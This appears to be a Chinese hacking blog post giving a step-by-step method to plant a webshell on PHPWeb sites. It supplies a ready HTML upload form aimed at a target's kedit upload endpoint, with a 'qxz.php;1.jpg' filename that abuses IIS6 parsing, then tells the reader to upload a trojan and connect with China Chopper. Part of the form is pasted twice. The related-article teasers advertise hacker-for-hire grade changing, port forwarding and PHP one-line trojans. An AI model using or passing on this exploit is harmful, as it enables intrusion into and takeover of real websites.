phpweb后台拿shell简单 ***
关于phpweb后台拿shell简单 *** 。
首先登录后台admin.php
登录后台管理系统后，然后把下面的文件保存为xxx.html，修改action，把 www.xxx.com 改成你的目标网站地址。
代码文件如下：
<form name=”uploadForm” method=”post” enctype=”multipart/form-data” action=”http://www.xxx.com/kedit/upload_cgi/upload.php”>
<input type=”text” name=”fileName” value=”qxz.php;1.jpg” />
<input type=”hidden” name=”attachPath” value=”news/pics/” />
<input type=”file” name=”fileData” size=”14″ /></td>
<input type=”submit” name=”button” value=”确定” />
</form>
<input type=”text” name=”fileName” value=”qxz.php;1.jpg” />
<input type=”hidden” name=”attachPath” value=”news/pics/” />
<input type=”file” name=”fileData” size=”14″ /></td>
<input type=”submit” name=”button” value=”确定” />
</form>
然后选择你的马儿再上传
上传后如果为iis6，就点击查看源码就可以找到马儿的路径了。
菜刀链接看下
PS：qxz.php;1.jpg这样的文件是允许上传的，只要服务器是IIS6就拿到webshell，低版本的apache可以试着重命名为qxz.php.jpg
代码文件下载地址：http://pan.baidu.com/s/1eRzHs
相关文章
DumpSec是完全免费的吗?
什么叫DumpSec？ Dumpsec是为Microst Windows建立的安全性程序流程。它能够 转储系统文件，复印机，注册表文件的DACL和SACL，并以详尽和可写的文件格式共享资源它。它还能...
找黑客修改成绩（黑客技术接单网站）
修改成绩怎么找黑客 1、黑客接单接单。修改成绩技术接单网站然后将这黑客个文件保存在安全的地方，这个文件中。黑客，接单黑客入侵和漏洞利用程序售卖的世界中充斥着叫卖程序编码的小贩，要花钱啊，的征途。Pro...
我们不一样的黑客渗透教程第六课,如何转发内网机器的端口?
大家第六课讲了，怎样把内部网的的一台设备的端口转发出去，而且明确提出一个难题，假如内部网的一台设备上不了网，可否把它的端口转发出去？回答是能的，用EarthWorm或端口转发专用工具lcx都能够保证...
网络服务器是啥系统软件?实际叫什么?及其是多少位几核
1、提权的定义：将系统软件管理权限提高到root、 system 或是 administrator。 2、在网上提权的界定：取得网络服务器管理权限，而且取得成功登录网络服务器。 可是，...
PHP一句话木马全集
因为PHP一句话木马可以说有很多，简易的、中等水平的、繁杂的.......，今日主要是共享一些较为强大的一些PHP一句话木马全集； 一、运用404错误页掩藏PHP小龙 <!DOC...
南方数据企业网站管理系统12.0拿SHELL方法
南方数据企业网站管理系统12.0插配置文件拿SHELL 在我们拿到南方数据企业管理系统后台账号密码后，可以使用下面的方法来拿shell 进入后台后 点击系统管理 网站配...
Copyright Your WebSite.Some Rights Reserved.
免责声明:本站所发布的任何网站，全部来源于互联网，版权争议与本站无关。仅供技术交流，如有侵权或不合适，请联系本人进行删除。不允许做任何非法用途！